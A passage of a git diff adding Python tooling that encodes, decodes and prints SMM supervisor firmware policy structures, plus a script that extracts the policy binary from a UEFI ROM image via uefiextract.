and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Instruction Policy Entry") + if(not short): + self.Header.DumpInfo(prefix + " ") + print(f"{prefix} Instruction: {SUPPORTED_INSTRUCTION(self.InstructionIndex).name}") + print(f"{prefix} Attributes: {self.Attributes}") + +class SaveStatePolicyEntry(PolicyEntry): + ''' + example {SECURE_POLICY_SVST_RAX, COND_READ_INHERITED, SECURE_POLICY_SVST_CONDITION_IO_WR, 0} + ''' + _StructFormat = ' bytes: + ''' Write self to a binary bytes object''' + if self.SaveStateIndex < 0: + raise Exception("Invalid Data") + + return struct.pack(self._StructFormat, + self.SaveStateIndex, + self.Attributes.value, + self.AccessCondition, + 0) + + def Decode(self, Buffer) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + (ss, a, ac, _) = struct.unpack_from(self._StructFormat, Buffer) + self.SaveStateIndex = ss + self.Attributes = AccessType(a) + self.AccessCondition = ac + return Buffer[self._StructSize:] + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Save State Policy Entry") + if(not short): + self.Header.DumpInfo(prefix + " ") + print(f"{prefix} SaveStateField: {ALLOWED_SAVE_STATE_FIELD(self.SaveStateIndex).name}") + print(f"{prefix} Attributes: {self.Attributes}") + print(f"{prefix} AccessCondition: {ALLOWED_SAVE_STATE_ACCESS_CONDITION(self.AccessCondition).name}") + + +class PolicyDataCommonHeader(object): + _StructFormat = ' None: + ''' Add a policy root''' + + for pr in self.PolicyRoots: + if policyroot.GetType() == pr.GetType(): + raise RuntimeError ( + f"Can't add duplicated policy of same type {pr.GetType()}") + + self.PolicyRoots.append(policyroot) + + def Encode(self) -> bytes: + if self.Version < Supervisor_Policy.FLEXBILE_STRUCTURE_VERSION: + ''' Encode the supervisor_policy object into a bytes + binary object. + + UINT32 Version; //2 + UINT32 Size; //Size in bytes of the whole blocks include Memory/IO/Msr Policy + UINT32 MemoryPolicyOffset; + UINT32 MemoryPolicyCount; //Count of MemoryPolicy + UINT32 IoPolicyOffset; + UINT32 IoPolicyCount; //Count of IoPolicy + UINT32 MsrPolicyOffset; + UINT32 MsrPolicyCount; // Count of MsrPolicy + UINT32 InstructionPolicyOffset; + UINT32 InstructionPolicyCount; // Count of InstructionPolicy + ''' + memory_offset = self._StructSize_v0_2 # counter for offset + memory_count = 0 # counter for policy entries + io_offset = self._StructSize_v0_2 + io_count = 0 + msr_offset = self._StructSize_v0_2 + msr_count = 0 + instruction_offset = self._StructSize_v0_2 + instruction_count = 0 + + data = b'' + for pr in self.PolicyRoots: + if pr.AccessAttr == AccessAttribute.ACCESS_ATTR_ALLOW: + raise RuntimeError ("Cannot encode allow list for legacy descriptors") + if pr.GetType() == POLICY_TYPE.MEMORY: + memory_count = pr.Count + elif pr.GetType() == POLICY_TYPE.IO: + io_offset = memory_offset + len(data) + io_count = pr.Count + elif pr.GetType() == POLICY_TYPE.MSR: + msr_offset = memory_offset + len(data) + msr_count = pr.Count + elif pr.GetType() == POLICY_TYPE.INSTRUCTION: + instruction_offset = memory_offset + len(data) + instruction_count = pr.Count + else: + raise NotImplementedError( + f"Discovered unsupported policy descriptor type {pr.GetType()}") + + for pe in pr.PolicyEntries: + data += pe.Encode(legacy=True) + + output = struct.pack(self._StructFormat_v0_2, + self.Version, + self.GetSize(), + memory_offset, + memory_count, + io_offset, + io_count, + msr_offset, + msr_count, + instruction_offset, + instruction_count + ) + + return output + data + + else: + ''' Encode the supervisor_policy object into a bytes + binary object. + + UINT16 VersionMinor; // 0x0000 + UINT16 VersionMajor; // 0x0001 + UINT32 Size; // Size in bytes of the entire policy block + UINT32 MemoryPolicyOffset; // Offset of legacy memory policy, if supported, otherwise 0 + UINT32 MemoryPolicyCount; // Count of MemoryPolicy, if supported, otherwise 0 + //Note: For backwards compatibility concern, one should not change the above fields even for future versions. + UINT32 Flags; // Flag field to indicate supervisor status when policy is requested/reported + UINT32 Capabilities; // Capability field to indicate features supoorted by supervisor + UINT64 Reserved; // Reserved, must be 0 + UINT32 PolicyRootOffset; // Offset from this structure to the beginning of the policy root array. + UINT32 PolicyRootCount; // Count of policy roots + ''' + + memory_count = 0 # counter for policy entries + memory_entries = b'' # counter for policy entries + pr_offset = self._StructSize_v1_0 + offset = pr_offset + has_mem_policy = False + for pr in self.PolicyRoots: + offset += pr.GetSize() + # For backwards compatibility purpose + if pr.GetType() == POLICY_TYPE.MEMORY: + has_mem_policy = True + memory_count = pr.Count + for pe in pr.PolicyEntries: + memory_entries += pe.Encode(legacy=True) + + if not has_mem_policy: + # Memory descriptors needs a placeholder for runtime update, if there is none + pr = PolicyRoot (POLICY_TYPE.MEMORY, AccessAttribute.ACCESS_ATTR_DENY) + self.AddPolicyRoot (pr) + offset += pr.GetSize() + + root = b'' + body = b'' + for pr in self.PolicyRoots: + pr.SetOffset(offset) + root += pr.Encode() + for pe in pr.PolicyEntries: + body += pe.Encode() + offset += pe.GetBodySize() + + memory_offset = offset if memory_count != 0 else 0 # counter for offset + + header = struct.pack(self._StructFormat_v1_0, + self.Version & 0xFFFF, + (self.Version >> 16) & 0xFFFF, + self.GetSize(), + memory_offset, + memory_count, + 0, 0, 0, + pr_offset, + len(self.PolicyRoots) + ) + + return header + root + body + memory_entries + + def GetSize(self) -> int: + ''' Calculate the size of the output binary encoded policy''' + if self.Version < Supervisor_Policy.FLEXBILE_STRUCTURE_VERSION: + size = self._StructSize_v0_2 + for pr in self.PolicyRoots: + for pe in pr.PolicyEntries: + size += pe.GetSize() + return size + else: + size = self._StructSize_v1_0 + for pr in self.PolicyRoots: + size += pr.GetSize() + for pe in pr.PolicyEntries: + size += pe.GetBodySize() + return size + + def Decode(self, Buffer: bytes) -> bytes: + '''Decode the bytes object into a supervisor policy. + Assume the first byte of Buffer is the first byte of the policy. + return the bytes remaining + ''' + (version, _, _, _) = struct.unpack_from (PolicyDataCommonHeader._StructFormat, Buffer) + self.Version = version + if version < Supervisor_Policy.FLEXBILE_STRUCTURE_VERSION: + (v, s, mpo, mpc, ipo, ipc, msrpo, msrpc, instrpo, instrpc) = struct.unpack_from( + self._StructFormat_v0_2, Buffer) + if s > len(Buffer): + raise Exception("Invalid Size") + if mpo >= s: + raise Exception("Invalid MemoryPolicyOffset") + if ipo >= s: + raise Exception("Invalid IoPolicyOffset") + if msrpo >= s: + raise Exception("Invalid MsrPolicyOffset") + if instrpo >= s: + raise Exception("Invalid InstructionPolicyOffset") + + ReturnBuffer = Buffer[s:] # return this buffer + + PolicyBuffer = Buffer[:s] # + + # Decode Memory Policies + LoopBuffer = PolicyBuffer[mpo:] + a = PolicyRoot(Type=POLICY_TYPE.MEMORY, AccessAttr=AccessAttribute.ACCESS_ATTR_DENY) + a.Count = mpc + for i in range(mpc): + b = MemoryPolicyEntry() + LoopBuffer = b.Decode(LoopBuffer, legacy=True) + a.AddPolicy(b) + if mpc > 0: + self.AddPolicyRoot(a) + # Decode Io Policies + LoopBuffer = PolicyBuffer[ipo:] + a = PolicyRoot(Type=POLICY_TYPE.IO, AccessAttr=AccessAttribute.ACCESS_ATTR_DENY) + for i in range(ipc): + b = IoPolicyEntry() + LoopBuffer = b.Decode(LoopBuffer, legacy=True) + a.AddPolicy(b) + if ipc > 0: + self.AddPolicyRoot(a) + # Decode Msr Policies + LoopBuffer = PolicyBuffer[msrpo:] + a = PolicyRoot(Type=POLICY_TYPE.MSR, AccessAttr=AccessAttribute.ACCESS_ATTR_DENY) + for i in range(msrpc): + b = MsrPolicyEntry() + LoopBuffer = b.Decode(LoopBuffer, legacy=True) + a.AddPolicy(b) + if msrpc > 0: + self.AddPolicyRoot(a) + # Decode Instruction Policies + LoopBuffer = PolicyBuffer[instrpo:] + a = PolicyRoot(Type=POLICY_TYPE.INSTRUCTION, AccessAttr=AccessAttribute.ACCESS_ATTR_DENY) + for i in range(instrpc): + b = InstructionPolicyEntry() + LoopBuffer = b.Decode(LoopBuffer, legacy=True) + a.AddPolicy(b) + if instrpc > 0: + self.AddPolicyRoot(a) + + # Check size + if self.GetSize() != s: + raise Exception("Incorrect decoding. Size doesn't match") + + # slice off buffer bytes decoded + return ReturnBuffer + + else: + (vma, vmi, s, mpo, mpc, fg, cap, _, pro, prc) = struct.unpack_from( + self._StructFormat_v1_0, Buffer) + if s > len(Buffer): + raise Exception("Invalid Size") + if mpo >= s: + raise Exception("Invalid MemoryPolicyOffset") + if pro >= s: + raise Exception("Invalid PolicyRootOffset") + if prc == 0: + raise Exception("Invalid PolicyRootCount") + + ReturnBuffer = Buffer[s:] # return this buffer + + PolicyBuffer = Buffer[:s] # + + # Decode Memory Policies + LoopBuffer = PolicyBuffer[mpo:] + LegacyMemDsc = PolicyRoot(Type=POLICY_TYPE.MEMORY, AccessAttr=AccessAttribute.ACCESS_ATTR_DENY) + for i in range(mpc): + for i in range(LegacyMemDsc.Count): + b = MemoryPolicyEntry() + LoopBuffer = b.Decode(LoopBuffer, legacy=True) + LegacyMemDsc.AddPolicy(b) + + has_mem_policy = False + # Decode Policy Roots + LoopBuffer = PolicyBuffer[pro:] + for i in range(prc): + a = PolicyRoot() + LoopBuffer = a.Decode(LoopBuffer) + PolicyEntryBuffer = PolicyBuffer[a.Offset:] + for i in range(a.Count): + if a.GetType() == POLICY_TYPE.MEMORY: + b = MemoryPolicyEntry() + elif a.GetType() == POLICY_TYPE.IO: + b = IoPolicyEntry() + elif a.GetType() == POLICY_TYPE.MSR: + b = MsrPolicyEntry() + elif a.GetType() == POLICY_TYPE.INSTRUCTION: + b = InstructionPolicyEntry() + elif a.GetType() == POLICY_TYPE.SAVESTATE: + b = SaveStatePolicyEntry() + else: + raise NotImplementedError ( + f"Can't decode policy of type {a.GetType()}") + PolicyEntryBuffer = b.Decode(PolicyEntryBuffer) + a.AddPolicy(b) + if a.GetType() == POLICY_TYPE.MEMORY: + if mpc != 0: + # If there is legacy memory descriptors, the 2 versions better match... + if LegacyMemDsc.Version != a.Type or \ + LegacyMemDsc.PolicyRootSize != a.PolicyRootSize or \ + LegacyMemDsc.Type != a.Type or \ + LegacyMemDsc.Count != a.Count or \ + LegacyMemDsc.AccessAttr != a.AccessAttr: + raise RuntimeError ("Legacy memory descriptor mismatched with new versions") + has_mem_policy = True + self.AddPolicyRoot(a) + + if not has_mem_policy: + # This means the policy roots does not have one, which is not a good sign + self.AddPolicyRoot(LegacyMemDsc) + raise RuntimeWarning("No memory policy root found from input binary, might want to check this") + + # Check size + if self.GetSize() != s: + raise Exception("Incorrect decoding. Size doesn't match") + + # slice off buffer bytes decoded + return ReturnBuffer + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Supervisor Policy Object") + print(f"{prefix} Version: {self.Version}") + print(f"{prefix} Size: {self.GetSize()}") + print(f"{prefix} Policy Roots: {len(self.PolicyRoots)}") + for pr in self.PolicyRoots: + pr.DumpInfo(prefix=prefix + " ", short=short) diff --git a/tools/smm_supervisor_policy_parser/smm-supervisor-policy-parser.py b/tools/smm_supervisor_policy_parser/smm-supervisor-policy-parser.py new file mode 100644 index 0000000..90b7a19 --- /dev/null +++ b/tools/smm_supervisor_policy_parser/smm-supervisor-policy-parser.py @@ -0,0 +1,115 @@ +#!/usr/bin/python +import os +import sys +import struct +import subprocess +from shutil import which, rmtree +from policy_entry import * +import argparse + +POLICY_GUIDS = [ + "83E1F409-21A3-491D-A415-B163A153776D" # SmmSupvBin +] + +def get_uefitool_path(): + path = which("uefiextract") + if not path: + path = which("UEFIextract") + + return path + +def extract_files(rom, guid): + subprocess.call([get_uefitool_path(), rom, guid, '-o', 'policy_tmp'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + +def get_policy_bin(guid): + for root, dirs, files in os.walk("./policy_tmp"): + path = root.split(os.sep) + for file in files: + if file == "info.txt": + with open(os.path.join(root, file), 'r') as fp: + for line in fp.readlines(): + if guid in line: + policy_path = os.path.join(root, '0 Raw section/body.bin') + return open(f"{policy_path}", "rb").read() + return None + +def parse_policy(data): + # Example container header: + # 24 50 53 50 BB 61 AD DE 05 00 00 00 10 04 00 20 $PSP.a......... + # C0 00 00 00 00 02 00 00 00 04 00 00 00 00 00 00 ................ + # C1 00 00 00 A4 02 00 00 00 06 00 00 00 00 00 00 ................ + # C2 00 00 00 00 02 00 00 00 09 00 00 00 00 00 00 ................ + # C3 00 00 00 40 04 00 00 00 0B 00 00 00 00 00 00 ....@........... + # C4 00 00 00 F8 00 00 00 00 10 00 00 00 00 00 00 ................ + if data[80] != 0xc4: + print("Not a valid PSP header, treating as raw binary policy\n") + policy = data + version = struct.unpack('